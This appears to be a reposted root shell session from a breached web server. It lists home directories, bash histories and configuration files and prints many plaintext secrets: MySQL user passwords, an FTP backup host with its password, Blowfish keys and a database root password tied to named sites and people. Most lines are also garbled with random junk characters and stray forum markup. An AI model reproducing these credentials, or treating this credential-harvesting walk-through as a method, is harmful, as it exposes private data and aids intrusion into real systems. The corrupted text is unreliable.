! F' Q* w* }" m& |# Q* J5 U5 l3 T' g f1 ?: d4 L
sh-3.2# cat /etc/motd
, V0 m6 g8 o1 D( r#####################################################
& p4 P- b5 B& o( }#____ ____ ___ ____ _ ____ _ _ _ ____ ___ ____ #
) W( \6 o6 \! K& |* c4 G: N, M2 s# |__| [__ | |__| | |__| | | | [__ | |__| #
) d( B* u8 N: `- V$ n/ u% `" N# | | ___] | | | |___ | | \/ | ___] | | | #
9 [7 B6 E1 w: _2 K# #
6 H+ K4 V- R5 v) F3 F& d" Z v) K#####################################################- ~: \; u( l! Q M; ^
# #
+ a) C1 X" W, ~ E- y/ U# Admin Contact - 链接标记support@secureservertech.com #( `% ?/ _5 |7 U6 M$ J! {9 x3 `- A. G: A
# #) |4 H' K) j! b% M1 r. r, I
# Available ShortCuts #0 c" m3 M8 d0 u
# #9 H& ^, _8 U" F- u4 a4 u8 \
# nst - list active connections #
/ c( F7 S5 u6 [* F# ddos - shows how many times each ip is connected #1 I% G) V$ h, E7 C* h
# ltr - restart the webserver #
* o1 z8 R7 N7 j) u$ ~# phpc - edit the php config file #. e3 ~+ |; Q+ ?" G/ m* B
# htc - edit the webserver configuration file #
7 P) ^6 p: ?; s# z+ a1 [# up - uptime #
) r/ L$ [/ c5 x5 T3 [3 a H# etd - edit the motd of the day file #
$ X# F4 R2 |+ q. N' D$ q7 o( }# htr - start and restart apache if needed #
, W; w4 ^( i7 w5 I; D8 e# syng - shows active SYN_RECV connections #
, K% j+ E' `! D" i( W/ s3 h B+ s: [! K# synd - syn flood blocker - “synd -h” for usage #
0 b, _* C* f% l5 q! U: L#####################################################
D1 v" @' R* I- A7 I# w B/ T3 p/ P8 w# NOTES: #2 f/ j& |/ ~. k: {3 A# g
# Last Upgrade - 12-08-2008 by JF #* w8 U! c/ b: S. r
# My.cnf/Mysql Optimization - 1-28-09 #5 D5 a; Q8 c7 H
# #3 ~& C: r$ s( S0 H
# #% U* q+ p8 t* c' Q8 j2 H
# #
- @8 {+ Z& o2 j$ ^& t#####################################################2 s3 `) z. e+ H, F
) C( e2 Q% s! A- q9 O) Lsh-3.2# lastlog | grep -v Never1 _- I5 s% O+ H( \3 e
Username Port From Latest' U& O& k q! T; ^; }
root pts/1 adsl-194-162-fix Thu Jun 4 07:19:14 +0000 2009
2 h. u- n! D: H4 @- Y0 i* @! Zadmin pts/1 cp.secureservert Thu Mar 20 10:25:39 +0000 20082 ]4 G- t! e7 m- m7 Y" i1 T
com pts/0 cust.static.212- Tue Jun 2 07:46:30 +0000 2009
1 c/ I" m0 L8 _4 g+ {: Y! Uastanet pts/0 adsl-194-162-fix Thu Apr 16 08:20:44 +0000 2009
. i( q- j; V3 K5 t% L
# }5 k8 h4 T: q, K9 r2 _sh-3.2# ls -la
6 ? Q7 _ O; Y6 t; q. Xtotal 453376
& U& H W3 M" d2 xdrwxr-x— 15 root root 4096 Jun 4 08:40 .
B( J: i( ?4 p, o4 r% o: G! S# ~& hdrwxr-xr-x 25 root root 4096 Jun 3 02:43 ../ l; o. Y* V# Y. d5 Q. _" h5 [' _
-rw-r–r– 1 root root 2394400 Oct 19 2007 10mbtest.zip: V" n5 G0 L% q7 y% n
-rw——- 1 root root 1006 Sep 11 2007 anaconda-ks.cfg# u7 [. Z& H! j- V& l0 `; s9 G
-rw——- 1 root root 16836 Jun 4 07:21 .bash_history
3 m+ ^1 P# ~7 b$ o1 g! |4 s-rw-r–r– 1 root root 24 Jan 6 2007 .bash_logout
) C _7 V5 P# L3 k$ B-rw-r–r– 1 root root 191 Jan 6 2007 .bash_profile
7 L6 u" C5 C {% ~2 z-rw-r–r– 1 root root 176 Jan 6 2007 .bashrc
6 Z; g! x+ _7 Q# e-rwx—— 1 root root 1899 Oct 28 2007 bk.sh1 c) q% c0 ]2 g+ T' @
-rw-r–r– 1 root root 1327 Nov 29 2007 cert0 |' e$ ^! s: r$ U0 B# `/ y
-rw-r–r– 1 root root 139860821 May 14 2008 contrexxbackup_20080514.sql* j; }' T7 N6 ]$ g w- ?
drwxr-xr-x 4 root root 4096 May 20 2008 .cpan
0 s @+ \ q9 P+ K% L5 S-rw-r–r– 1 root root 100 Jan 6 2007 .cshrc
- b2 n( C2 [6 d2 ?# |4 t-rw-r–r– 1 root root 323079 Mar 31 13:48 defaultp_ports.sql
7 b5 u( w1 `1 ?& ldrwx—— 2 root root 4096 Oct 28 2007 .elinks4 X' Q' M3 k' W- ?2 T
drwxr-xr-x 13 root root 4096 Mar 21 2008 gdb-6.7.1% m8 j* j: e# D3 i) G/ \7 Q
-rw-r–r– 1 root root 15080950 Oct 29 2007 gdb-6.7.1.tar.bz2& I4 `- N0 t/ E. |. ]8 v
-rw——- 1 root root 0 Apr 16 13:19 .history
$ G" u7 Y. A5 v; ]+ C2 q. G-rw-r–r– 1 root root 16095 Sep 11 2007 install.log
! f# X# g( T7 k' O1 _-rw-r–r– 1 root root 2566 Sep 11 2007 install.log.syslog/ u5 Z- J- E% a
-rw-r–r– 1 root root 1003 Jul 22 2007 install.sh
+ Y% p% N& k) @( e1 x% F! ~' h4 \7 G-rw——- 1 root root 35 Jun 2 14:23 .lesshst
2 ?8 Y1 n6 g# b- k6 j" c# l# I4 T" Mdrwxr-xr-x 2 root root 4096 Dec 29 2007 .lftp
" ~+ @1 F$ P6 x* P5 |+ c' Rdrwxr-xr-x 10 root root 4096 Sep 14 2007 linux-2.6.19.2-grsec
! u9 M" j- {6 P9 l7 S X5 K-rw-r–r– 1 root root 94979336 Feb 16 2007 linux-2.6.19.2-grsec.tar.gz6 E. U; q) T4 f
-rw-r–r– 1 root root 4737058 Sep 22 2007 linux-2.6.22.tar.bz2
' b7 \1 J$ X$ V; m/ \+ i-rwx—— 1 root root 760 Sep 18 2008 lp
7 o. Z1 \4 s! N( v, ?/ o0 Tdrwxr-xr-x 12 root root 4096 Nov 30 2007 lsws-3.3.1) w. ~4 i9 h: K- X! p
-rw-r–r– 1 root root 2480045 Nov 30 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz7 O: p4 ]- F6 m+ n
-rw-r–r– 1 root root 6388501 Nov 29 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz.1
, s0 m. f- L0 i/ b5 A% I9 O& T9 I; T" ldrwxr-xr-x 12 root root 4096 Mar 21 2008 lsws-3.3.9
% p8 I# c, a, ~4 t-rw-r–r– 1 root root 6437577 Mar 21 2008 lsws-3.3.9-ent-x86_64-linux.tar.gz8 Z1 F# v; {- _7 n/ |
drwxr-xr-x 12 root root 4096 May 29 15:10 lsws-4.0.3
% M% }& v4 U8 S; }1 l-rw-r–r– 1 root root 6496050 May 8 05:59 lsws-4.0.3-ent-x86_64-linux.tar.gz
$ m" @4 _, G7 h; _, i& y-rw-r–r– 1 root root 25316 Feb 15 2006 mybk.sh$ r. l+ i2 `' v; g" i2 E
-rw——- 1 root root 41 Oct 19 2007 .my.cnf
" Y0 Z4 Z% w+ a3 B/ G' g-rw——- 1 root root 2902 Jun 4 08:40 .mysql_history
. S6 X: d& D" w-rwx—— 1 root root 38873 Apr 16 2008 mysqlreport7 F" J7 z; `3 V' L+ ?8 Q
-rw——- 1 root root 41 May 20 2008 .mytop
* c/ h3 y& ^: _9 C7 N+ xdrwxr-xr-x 3 1000 1000 4096 May 20 2008 mytop-1.6
) Y* V! p3 N! K, ] g% j7 u+ ?- p0 t-rw-r–r– 1 root root 19720 Feb 17 2007 mytop-1.6.tar.gz
4 R5 p) m; I! |0 Ddrwxr-xr-x 2 root root 4096 Oct 28 2007 .ncftp
/ A1 O6 ]4 Y! w1 z-rw——- 1 root root 1462 Sep 21 2007 opt.php
3 w. o( [5 W) S3 ^7 Y- F+ O-rw-r–r– 1 root root 3371 Sep 22 2007 p
7 N S' ~: e( w4 ~% x$ ]-rw-r–r– 1 root root 7608429 Aug 30 2007 php-5.2.4.tar.bz2) Q3 E9 \6 c2 G! I
-rw——- 1 root root 1024 Feb 3 21:32 .rnd K% j' C& A- j+ g" p- Y& J
-rw-r–r– 1 root root 716 Nov 28 2007 server.csr7 L0 z) m/ Z0 `& L
-rw-r–r– 1 root root 887 Nov 28 2007 server.key
, H' Z1 B0 j) I4 M% ~drwx—— 2 root root 4096 Oct 10 2008 .ssh# @& P C* K v, g# d) l
-rw-r–r– 1 root root 44227 Oct 28 2007 tar-inc-backup.dat, f% f9 E5 h! t$ w/ _: M/ \
-rw-r–r– 1 root root 129 Jan 6 2007 .tcshrc8 \( R: U) | s1 @+ M
-rw-r–r– 1 root root 104874307 Oct 17 2007 test100.zip0 t8 i0 p {* [0 Y, c+ \* ?( v
-rw-r–r– 1 root root 67085540 Oct 19 2007 test100.zip.1
4 N& I% ]0 D5 \/ A2 d" zdrwxr-xr-x 2 root root 4096 Apr 29 11:15 tmp
% o* u( M, U3 n: |0 v- K-rw-r–r– 1 root root 42596 May 21 2007 tuning-primer.sh5 Y# l$ S# {9 A* M1 g
drwxrwxrwx 19 1000 users 4096 Mar 21 2008 valgrind-3.3.0
! q5 N) t& o& P$ H* b- e, f-rw-r–r– 1 root root 4519551 Dec 11 2007 valgrind-3.3.0.tar.bz2
8 d1 U. j( V- I" s-rw——- 1 root root 12997 May 16 2008 .viminfo
5 X7 p5 q$ L% g" I& |, }, E& F3 O- t+ ?/ y& E6 a" E
sh-3.2# cat .bash_history: v R2 U5 Y7 T
[snip]6 I8 \/ b8 v0 k, _# I. s
wget cp4sst.com/sstlinux.tar.gz
1 M5 _) c; t: N/ w: Ctar zxvf sstlinux.tar.gz2 B5 ], p/ G% o9 `# c- d
cd linux-2.6.27.10; b% c, h3 C+ n$ P; D+ i" T2 V
sh install.sh
1 l n8 Q/ D0 t' q$ q; ^7 ^make bzImage ; make modules ; make modules_install ; make install
- {, ^: p1 Q2 E' t# [/ Y+ i3 dmake clean
+ c+ W4 z1 v Jservice mysqld restart9 O9 N) S0 N$ ~! I, |* x
[snip]
. Y2 V. S- O. N0 m. ]cd /usr/sbin/3 ?7 f& R0 S8 s4 M' T
chmod 4777 traceroute
& r8 D- D# f- O9 c# n2 ^4 h0 [; uchmod 4777 ping& |4 l; K: R1 C6 M" K( ?% Z
traceroute -I 链接标记[url]www.astalavista.ch[/url]
/ }6 N* W% a( d! @! D$ m[snip]
8 `/ z5 ?* h& F6 t# S; \& Wvi /etc/csf/csf.conf
( o1 `) j' B9 p$ `) g1 m# Dtraceroute google.ch
2 v9 c! s; V+ p0 E, Z7 hservice csf restart
0 C( X* `8 u. @3 \" A* J/ C/ \tracert google.ch
7 j$ W$ {8 Z: _3 v4 `6 v; cservice csf restart
3 a6 F% R" K5 Z0 Btraceroute 链接标记[url]www.google.ch[/url]
4 `# \) \. D5 a. F5 Htracert 链接标记[url]www.google.ch[/url]
0 ^9 B9 H5 X6 p2 `3 f5 @3 `traceroute 链接标记[url]www.google.ch[/url]; ^1 ^6 K& q5 Q" C
locate traceroute2 c! R4 z: D8 r
chown 4755 /bin/traceroute/ P4 U8 v, r/ Y# R2 R
chown 4777 /bin/traceroute
! h) H. N8 y0 c, ^ xlocate ping
6 e4 w5 a* D* ]2 P, nchown 4755 /bin/ping" o5 p& h$ c( b. P
chown 4777 /bin/ping1 l# t- X5 ~1 o6 f, t1 e
cd /bin/
! V9 `2 t7 p5 W$ pls -ali | grep ping3 D. l/ l/ T# n" i% I4 X3 J( l; F" H
chown root ping
8 w( X# K) g' p! ?9 Q8 e7 Lchmod 4755 ping
( V' F% n) Z4 ols -ali | grep traceroute; J( I; _2 k. w6 M$ a% U3 _7 h0 S- V5 _9 z
chown root traceroute( u- V4 [: r3 W9 m0 p) a
chmod 4755 traceroute( G. ~4 K& W7 @, B6 m) w
ls -ali | grep traceroute2 l& u7 |! q& w H' |
traceroute -I 链接标记[url]www.google.ch[/url]
. y/ A* ?3 y% ]( T Y* b) etraceroute 链接标记[url]www.google.ch[/url]0 v3 g( b. L' P5 N3 J
whois pmsantos.ch q# \! e3 U1 [! V
[snip]5 C" m0 l! ^% T4 B# S/ f
mysql -h com_contrexx2_live < /root/defaultp_ports.sql
# q2 C+ @5 w# x: lmysql -h -ucontrexxuser2 -p0fEYNZgXz1pKe com_contrexx2_live < /root/defaultp_ports.sql3 j& C& K3 e: d* s- G4 L- F4 w, I
mysql -h -u contrexxuser2 -p com_contrexx2_live < /root/defaultp_ports.sql
) }) Q& A/ d+ M5 L! e2 L- vmysql -h localhost com_contrexx2_live < /root/defaultp_ports.sql) X. r& N t3 |' r: p
top( _# N+ g1 T5 ^! d; n% ^
ping ssth.ch( u, Q" x/ c8 ~2 C6 q7 {
ping asdlkfaljgasd???ljg???lasj.ch
* K& ]7 O8 D# oping asdlkfaljgasdlasj.ch
% i5 G, k5 W' z3 J2 eping 链接标记[url]www.ssth.ch[/url]
5 G( I9 o6 B# Y) s; b& fping ssth.ch
$ P5 K P% A. s. ?2 y- [nslookup 链接标记[url]www.google.ch[/url]
1 U, o4 w4 k8 f' Xnslookup 链接标记[url]www.ssth.ch[/url]
& N5 ^% R2 @' |3 K& Q, uman nslookup& H" E+ K- c( @" v5 Q0 ~/ N
ping 链接标记[url]www.google.ch[/url]
6 a% w v2 @9 D, }( V* znslookup 链接标记[url]www.google.ch[/url]" F/ _2 g) J6 r) D" R: Q' }3 X
nslookup 链接标记[url]www.google.ch[/url] k: w, t. U2 A, a
nslookup salfjasdlf.ch0 l- x! G5 H6 C2 D9 L
[snip]% }. O1 X* v6 b N/ ~4 t8 h
openssl passwd -1 sadf
$ C8 x' {! W+ O2 Q& D# Qopenssl passwd -1 5cZNHstdTy
, A& \. L% R3 A8 z4 i4 fmysql
: w. U! e7 k) `$ G3 q7 Rmysql
8 X2 }1 P, o2 hlocate proftp0 A* h0 H$ t- B* j
vi /etc/proftpd.passwd
) Y6 w4 d1 N. fservice proftpd restart
$ b! e; i% u' v( Slocate proftpd.conf
, M8 z3 E' s0 E% Dvi /etc/proftpd.conf" {% n5 ^& ~$ v1 v
vi /etc/proftpd.passwd5 a$ C8 X6 R& P" _' F& h6 M
service proftpd restart4 V C3 R$ n" c! W+ ~7 G
[snip]. a: d8 V' Q- r
/bin/sh /home/com/backup_system/backup.sh
" q- |4 V: L) n. Ctar cfv /home/com/backups/09-04-28_backup.tar /home/com/public_html/admin* z( v4 }) z2 d
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2_live > 09-04-29-com_contrexx2_live-full.sql8 b$ h) f$ o0 z7 _
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2 > 09-04-29-com_contrexx2-full.sql0 f5 X7 k( D1 p4 A p# s
ls -ali
. x6 `- `+ j6 Fmysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS com_contrexx > 07-04-29-com_contrexx-full.sql
4 Z: r7 y' A7 r a# m9 j) Z Bmysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS ideapool > 07-04-29-ideapool-full.sql) W5 v# D, a! t7 m% u
crontab -l
' ?0 Y! v3 M$ T9 N* W' W5 b9 fcrontab -l
3 Y" D/ t3 m9 j2 r$ Ophp -q /home/com/public_html/modifications/cronjobs/securitynews.php; h2 z3 B# u4 n4 o
/home/com/public_html/modifications/cronjobs/exploits.sh" t8 M2 v3 l& e# e* _
wget 链接标记[url]http://www.litespeedtech.com/pac ... x86_64-linux.tar.gz[/url]
* S4 T) H+ q- q- atar zxvf lsws-4.0.3-ent-x86_64-linux.tar.gz
; H& X& Y0 ?/ N0 ?: K" H) x" \cd lsws-4.0.38 R/ g9 r( O! `: v* Y
sh install.sh" p% G: C2 D9 Q
uptime
' q+ n- u/ y6 \5 K/ Thdparm -tt /dev/sda, r% `+ B f7 P4 p( c( z
iostat
( u' C$ @+ u8 f2 y9 T% iyum install iostat
6 _0 m% }4 x! D* }" F# b+ \iostat: z0 d& H3 W' N
whereis iostat
- ]( r# q; C7 l+ eyjm clean all9 L% \" E% u. d0 E! o
yum clean all ; yum -y update, `3 V% l& M: g1 q* p
iostat
" ]& Z, k! f- r' f% tyum install systat3 z# J* h# Z! ^$ s
rpm -qa | grep iostat
) P3 f4 p- b# }1 |: B2 T) Trpm -qa | grep sysstat
2 [) x/ w: j% c: L( I! I( x" Crpm -qa | grep systat" k8 |( E: r0 e6 I
dmesg -c1 v( N& w" k- _9 ^& h- P1 \
sysctl -p- c$ `- t) W% d7 d) b$ n' ]
uname -r
$ T5 z. P: @; V* T1 t! x; Jcd /usr/src" T, I8 x" a7 l& y4 J, K
wget nix101.com/kernels/sstlinux.tar.gz1 ?# a+ {# q+ I# L* H
shutdown -r now5 ?3 {1 B' a7 J Q% _& n/ Z
nano -w /boot/grub/grub.conf& f, d3 H2 d8 D; x7 ]
6 E3 `6 w: `3 e8 ?0 o( S( bsh-3.2# cat .my.cnf
" B3 A0 l- _* @# a$ F* q$ u. k8 A |: k[client]9 H( ~4 b& A [' i4 G k0 X% E
user=da_admin
: ]) m w; I# O Q) N, ]" O" vpassword=X9dctmRH
; a1 [, U9 r8 H+ \ n$ Q7 E3 H' W% {( _6 T$ W3 G( H
sh-3.2# cat /home/com/backup_system/backup.sh% w8 J5 F6 g3 P4 c+ _
#!/bin/sh
# e, \( ]" l+ V#####################################################################
' q6 F2 b5 r m5 ]. |3 D, \# #
0 R+ |& e4 s4 {( G% S+ h' ~2 p# incremental backup for astalavista.com #1 u8 e, g4 H5 Y( o7 |% C. ^
# #7 Y9 }# K+ f y( C. N' ^& j: a; P
# author: Paulo M. Santos <链接标记paulo.santos@astalavista.com> #
! ]/ C- S0 j9 ?# ## W& G* L) C5 [. ]0 `$ R/ o
#####################################################################
+ g; c9 g( ^$ M' v" N[snip]. B4 h8 y f7 I+ F1 ?
PROG_DIR=”/home/com/backup_system”;8 a- _6 w+ O4 a; _9 U# b
BACKUP_DIR=”/home/com/backups”;
8 W1 E+ n% `, M4 n! T$ J+ ?% P# l! sDOBACKUP_FROM=”/home/com/domains/astalavista.com/public_html”;
3 N$ P4 U5 f; s7 z; K# ftp for synology backup server8 @9 l( Q2 L" x
FTP_HOST=”212.254.194.163″;
$ ]9 q& `% S& |1 hFTP_PORT=”21″;" J# m& v+ E; p) h) l% h
FTP_USER=”astalavista.com”;: K& b% z! R& a |( }) h
FTP_PASS=”yWHOJbzpWTWC6Xrmg1WnfBk5V”;
9 p9 R7 @/ T o) L3 d7 rFTP_DIR=”/astalavista.com”;
5 E9 R6 p/ e+ |7 `# database
( z; d+ ?" f8 k/ k# GDB_HOST=”localhost”;3 T$ J; |* j* v% W9 a( e, v$ N& b$ i
DB_USER=”contrexxuser2″;
8 k5 R1 y1 d& m/ S. p: H7 LDB_PASS=”0fEYNZgXz1pKe”;* e! p1 `! J0 m4 E4 @$ o" N7 |7 Y
DB_DATABASE1=”com_contrexx2_live”;
" [% n# Y7 e- KDB_DATABASE2=”com_contrexx2″;7 l1 p: w4 v$ f
[snip]; }3 [: [1 ?* J
ftp -in $FTP_HOST $FTP_PORT <<EOF
- c+ {1 J# I& C6 G* m5 Squote USER $FTP_USER
. U- D8 K6 h4 @, Q4 z+ equote PASS $FTP_PASS( q- K6 O# u7 ^4 D
cd $FTP_DIR
: ?+ s7 b$ |- d; gput $DB_FULLNAME-SQL_Dump.tar2 i3 z# ^- y6 U! w
put $BACKUP_FULLNAME-Public_HTML.tar; T0 \; P5 B) [
close- E3 l1 c7 |& R% X: ^7 ]
bye
1 v3 a7 O' [" f8 g5 E! O XEOF
1 M" F/ w) `- M1 k) }( J& T- z- i- }1 K% f" B9 D* J- i
sh-3.2# cd /home. m: d2 D" n. }, [. t7 L J: a
sh-3.2# ls -la
+ L! y+ }0 O l4 Itotal 1203 W8 ?$ |) i+ |7 i+ r0 H5 R7 E& T( g
drwxr-xr-x 14 root root 4096 Mar 11 17:56 .8 x% N p/ h2 {- `6 A
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
6 h) q3 Z4 E6 v( Kdrwx–x–x 9 admin admin 4096 Nov 28 2007 admin3 U8 r* P% i# n! v, \
-rw——- 1 root root 8192 Jun 4 03:03 aquota.group
4 w# V3 ^6 I6 V3 ^-rw——- 1 root root 8192 Jun 3 02:45 aquota.user7 v2 g' Y6 m- l; n+ R
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet
; T7 N3 K H* adrwxr-xr-x 2 root root 4096 Jul 29 2008 backup5 L& Z$ q r/ j- k; z
drwxr-xr-x 2 root root 4096 Sep 17 2008 backup.141616 R6 `+ y( u b2 y' ?$ {1 N
drwx–x–x 10 com com 4096 Apr 28 12:40 com
: r% o/ M9 K( ~/ k; O4 T4 D1 _; ?drwxr-xr-x 2 root root 4096 May 17 2007 ftp+ K* B5 r: U9 U; Y
drwx—— 3 jon jon 4096 Sep 21 2007 jon
+ a. i6 p! f! ]( w" adrwx—— 2 root root 16384 Sep 11 2007 lost+found) t& t* A6 Z8 y @& |+ C; O$ _- J
drwxr-xr-x 2 root root 4096 Sep 14 2007 my
6 C! E9 p3 f. \drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata
" ]3 ~" r8 t8 I3 M. I$ sdrwx—— 2 jon jon 4096 Sep 15 2007 test, J# {- p* I% u9 z
drwxrwxrwt 2 root root 4096 Jul 29 2008 tmp$ d- r& @/ _" C- g. b: [- A6 p
( p0 A7 d, A( g+ J7 d9 x
sh-3.2# cd admin5 |/ _2 j1 s! `" i& a
sh-3.2# ls -la: K+ y5 b' T4 t4 p- j
total 1735896- B: ?7 j. H* R/ K8 m2 m
drwx–x–x 9 admin admin 4096 Nov 28 2007 .
3 t3 ~( p s5 hdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
6 b( @. i" ]. `$ S9 Q/ @3 d- Sdrwxrwxr-x 2 admin admin 4096 Oct 25 2007 admin_backups# i; n( m# u' F6 D: `( |# z
drwx—— 2 admin admin 4096 Sep 28 2007 backups
5 S0 v7 x. X: e6 c# A' U$ L-rw——- 1 admin admin 860 Sep 17 2008 .bash_history
2 j9 \& f( w, x, }- ^- H-rw-r–r– 1 admin admin 24 Sep 14 2007 .bash_logout+ c: U6 B+ u c: I! X p o; Q
-rw-r–r– 1 admin admin 176 Sep 14 2007 .bash_profile, `" C: r% ?7 y% j. J
-rw-r–r– 1 admin admin 124 Sep 14 2007 .bashrc
0 h" W2 U: L* ^drwxr-xr-x 2 root root 4096 Sep 28 2007 com_backups1 p4 y3 X# V3 }6 x" V& T7 }5 l
drwx–x–x 6 admin admin 4096 Sep 21 2007 domains4 Y ]! v! Z) g) U
drwxrwx— 3 admin mail 4096 Sep 21 2007 imap
0 x' d$ x& C& y9 X- p+ I5 g+ c-rw-r–r– 1 root root 24 Sep 21 2007 info.php
5 a. s& M: A2 w! ?9 b1 z. idrwx—— 2 admin admin 4096 Sep 21 2007 mail
" p/ ~3 {1 t* o. {7 V; k! c5 J-rw-r–r– 1 root root 716 Nov 28 2007 server.csr
$ m9 j% T! G. y' r8 K& T-rw-r–r– 1 root root 887 Nov 28 2007 server.key% X" z) `0 t1 ^# e+ v L0 G* ~
-rw-r—– 1 admin mail 34 Sep 14 2007 .shadow
- N6 W/ C$ I; W. @; ^/ W" y1 F-rw-r—– 1 admin com 1775711054 Oct 25 2007 user.admin.com.tar.gz
! h# B$ e) T$ p b0 udrwx–x–x 2 admin admin 4096 Jul 29 2008 user_backups
0 p; U# h" N/ r# b3 b
: f% E t: I, K8 {; Ash-3.2# ..& t$ X# J* V, [3 k; Z. V
sh-3.2# cd jon7 j. } s% r: q0 Q' T+ H b" ^- ?
sh-3.2# ls -la
* P. M2 ?1 S% m. ctotal 36
9 j7 y" F2 ]" _9 X' K* Sdrwx—— 3 jon jon 4096 Sep 21 2007 .
5 c) i" T7 _4 X7 c; s2 {: {drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
1 O: A6 n0 ]* a6 p-rw——- 1 jon jon 53 Sep 21 2007 .bash_history
% ]& N5 ^: _, g-rw-r–r– 1 jon jon 24 Sep 21 2007 .bash_logout- t6 _9 z4 N( [# P) ]
-rw-r–r– 1 jon jon 176 Sep 21 2007 .bash_profile
! ]7 {* x, X% {-rw-r–r– 1 jon jon 124 Sep 21 2007 .bashrc7 D0 J5 T; o( \) U
-rw-r–r– 1 root root 24 Sep 21 2007 info.php1 I9 ]$ r- f, v% q( I4 ~2 ?7 \
drwxrwxr-x 2 jon jon 4096 Sep 21 2007 public_html
7 q+ S o5 i$ n5 T6 ~4 s
/ V8 t' H: ]) o3 ssh-3.2# cd ..% ~3 [! l: Q+ K! m* Y
sh-3.2# cd test, F; T* Q5 p2 M$ r
sh-3.2# ls -la) [8 q( R* ^+ N. M& O! `. z
total 48- s' h' ]6 X7 r9 z
drwx—— 2 jon jon 4096 Sep 15 2007 .
- P6 k5 n) N9 z) m' O: O2 Odrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
0 e" g9 T- `2 ~( a2 G-rw——- 1 jon jon 79 Sep 21 2007 .bash_history. C0 x: Y; E7 k' f" V
-rw-r–r– 1 jon jon 24 Sep 15 2007 .bash_logout0 o* P) e4 o1 D, p% e
-rw-r–r– 1 jon jon 176 Sep 15 2007 .bash_profile
* @( n. F! _8 z6 K8 h-rw-r–r– 1 jon jon 124 Sep 15 2007 .bashrc
+ Z3 k# M0 ?$ u3 y" zsh-3.2# cat .bash_history
* ^: @+ X0 E8 ~/usr/bin/mysqladmin -u root password PoliuJhytg67) G' E, }" l0 ^0 e4 l1 L
; ^! m/ H. t, L1 {0 B" Vsh-3.2# cd ..
$ R' t: m& _9 S ~* S" X7 a% zsh-3.2# cd astanet9 j1 F# w% K0 a5 C4 I
sh-3.2# ls -la& p: A( r7 j$ b7 Z7 A6 G% }7 ^2 l" w: z
total 52
" B3 \! o, ^5 \1 @3 q9 Vdrwx–x–x 6 astanet astanet 4096 Jun 4 09:51 .
@: i7 u9 L6 ^, O9 o; ?drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
, o+ Q# n& M: m. g h& T) p5 S! Edrwxr-xr-x 2 root root 4096 Dec 23 16:00 auth/ O, N) U0 o* j3 {% n2 w! `7 d
-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history
! |! T1 s- z( f" b-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout
1 E8 M8 H6 [2 K# @-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile3 L* _* K! t9 e' z3 I C
-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc; L+ ] |4 j9 U5 C4 h5 ~* s& ]
drwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains8 t! x2 R' {4 q; }/ A! d) A: ^
drwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap
. s7 Q/ W+ f& |6 _% Xdrwx—— 2 astanet astanet 4096 Dec 23 12:18 mail
1 a; j0 t; \) J$ E-rw——- 1 astanet astanet 197 Jun 4 09:51 .mysql_history5 C3 k7 u. i0 y5 X0 P; L
lrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html# m; j9 f4 U: U5 w
-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow" b4 c8 Y' x& |) h0 H
6 P; J" |1 [2 A( f
sh-3.2# cd auth/& f& ?" o% F' u/ V# D+ u
sh-3.2# ls -la
: a# B$ e: n- O7 i9 j8 u$ ctotal 28
# L8 Q$ T1 D. W- S! _; {drwxr-xr-x 2 root root 4096 Dec 23 16:00 .( j% Y; ]% Y+ h% q* ?! R; }
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 ..0 U+ r: u4 k# l
-rw-r–r– 1 root root 321 Jan 5 2006 hackercontest.config.inc.php) K& J: z7 g( g
-rw-r–r– 1 root root 319 Jan 5 2006 hosting.config.inc.php
+ z$ R% P) L. V: h+ F; L% Y-rw-r–r– 1 root root 24 Jun 4 09:38 .htadm_pwd& }. G3 g, u7 f& ?: g3 f7 ~
-rw-r–r– 1 root root 49 Jan 5 2006 .htpasswd_newhosting, G3 M4 L( H% C; X
-rw-r–r– 1 root root 51 Oct 11 2006 .htwebalizer_pwd9 k- D# i$ A; \: g7 z& {' v* U, M
$ o8 y% q7 r1 M _; M3 W2 t, W
sh-3.2# cat hackercontest.config.inc.php' v( O; Z" l9 W/ k M
<?PHP0 F& P' c) O1 C9 i. ~
// Variabeln f?r Verbindung zur Datenbank //
& O& L$ s5 ?/ v# s$conxHost = ‘localhost’; // MySQL hostname2 x- T& @" R2 ~% m
$conxUser = ‘hackercontest’; // MySQL user
* w$ S! ?+ \( T/ b7 ?! H$conxPassword = ‘K6m@7dUc’; // MySQL password6 ~5 q) D- d- s/ ^7 T
$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish
1 Y" L8 Y. e7 b, i* Z) s?>
! C: N* F, U4 L" N/ r$ rsh-3.2# cat hosting.config.inc.php
4 P3 ]8 \0 F x* W' m+ w<?PHP# b( G( e/ ]# M0 E
// Variabeln f?r Verbindung zur Datenbank //- \& g+ s8 ~+ J: l# d$ c7 Z4 c3 N
$conxHost = ‘localhost’; // MySQL hostname1 t! u. `, |; J& B
$conxUser = ‘hostinguser’; // MySQL user
$ y8 l! G7 A9 D1 _4 ]) B& ^4 M$conxPassword = ‘cXvB3981′; // MySQL password
, c4 s( ^& ~0 }$ O$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish
. S( q& D4 }6 M?>5 `+ t: k$ D/ U
' R+ b3 o1 |( v( y' }
sh-3.2# cd ..1 z; \# ^4 v4 \8 U6 R9 [: u
sh-3.2# cd com
8 y9 N5 a: x6 S1 `# {* Xsh-3.2# ls -la
( b$ q: i c* u( l# {total 1412086 I0 _& L! z5 F
